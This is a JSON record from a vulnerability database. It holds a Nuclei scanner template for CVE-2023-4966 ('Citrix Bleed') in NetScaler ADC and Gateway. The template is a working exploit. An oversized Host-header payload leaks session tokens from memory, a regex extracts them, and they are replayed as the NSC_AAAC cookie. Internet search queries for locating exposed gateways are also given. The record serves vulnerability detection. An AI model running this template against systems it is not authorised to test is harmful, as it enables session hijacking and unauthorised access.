{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-4966/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-4966/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-4966/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-4966/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-4966/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-4966"},"sightings":{"href":"/api/v1/sightings/cve-2023-4966"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-4966.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2023-4966\n\ninfo:\n  name: Citrix Bleed - Leaking Session Tokens\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.\n  impact: |\n    Unauthenticated attackers can leak session tokens from memory, potentially hijacking authenticated sessions and accessing sensitive Gateway resources.\n  remediation: |\n    Apply Citrix security updates immediately. Affected versions include NetScaler ADC and Gateway 14.1 before 14.1-8.50, 13.1 before 13.1-49.15, 13.0 before 13.0-92.19, and 12.1 (EOL).\n  reference:\n    - https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py\n    - https://github.com/Chocapikk/CVE-2023-4966\n    - https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966\n    - https://x.com/assetnote/status/1716757539323564196?s=20\n    - https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-4966\n    cwe-id: CWE-119,NVD-CWE-noinfo\n    epss-score: 0.99999\n    epss-percentile: 0.99998\n    cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*\n  metadata:\n    verified: \"true\"\n    max-request: 2\n    vendor: citrix\n    product: netscaler_application_delivery_controller\n    shodan-query:\n      - title:\"Citrix Gateway\" || title:\"Netscaler Gateway\"\n      - http.title:\"citrix gateway\" || title:\"netscaler gateway\"\n    fofa-query: title=\"citrix gateway\" || title:\"netscaler gateway\"\n    google-query: intitle:\"citrix gateway\" || title:\"netscaler gateway\"\n  tags: cve,cve2023,citrix,adc,info-leak,kev,exposure,vkev,vuln\nvariables:\n  payload: '{{repeat(\"a\", 24812)}}'\n  str: \"{{to_lower(rand_text_alpha(4))}}\"\n\nhttp:\n  - raw:\n      - |+\n        GET /oauth/idp/.well-known/openid-configuration HTTP/1.1\n        {{str}}: {{Hostname}}\n        Host: {{payload}}\n\n      - |+\n        POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: NSC_AAAC={{session}}\n\n    unsafe: true\n\n    extractors:\n      - type: regex\n        name: session\n        part: body_1\n        group: 1\n        regex:\n          - '([a-f0-9]{100}45525d5f4f58455e445a4a42)'\n        internal: true\n\n      - type: regex\n        part: body_2\n        regex:\n          - '([a-z0-9._]+)'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - 'NSC_AAAC='\n          - 'HTTP/1.1'\n\n      - type: word\n        words:\n          - '{\"issuer\":'\n# digest: 490a0046304402202bde6a90ce278d32d82cb023a1a3be8ccf968a4da177734abc67d9454b64453202203606bb48e065c10441afe400ed0c146d7ef14f2cf4b50fff26a2e7d94d43d889:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-4966"}